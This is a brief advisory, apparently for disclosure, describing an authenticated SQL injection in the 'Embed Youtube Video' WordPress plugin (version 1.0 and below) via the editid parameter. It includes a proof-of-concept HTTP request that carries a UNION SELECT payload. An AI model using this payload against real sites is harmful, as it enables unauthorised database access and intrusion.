Embed Youtube Video <= 1.0 - Authenticated SQL Injection

The editid GET parameter of the plugin is not sanitised, escaped or validated before inserting to a SQL statement, leading to SQL injection.

PoC

GET /wp-admin/admin.php?page=embed-youtube-video-add&editid;=-6425+UNION+ALL+SELECT+NULL%2Cuser%28%29%2CNULL%2CNULL%2CNULL-- HTTP/1.1 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-GPC: 1 Accept-Encoding: gzip, deflate Accept-Language: en-GB,en-US;q=0.9,en;q=0.8 Cookie: [admin+] Connection: close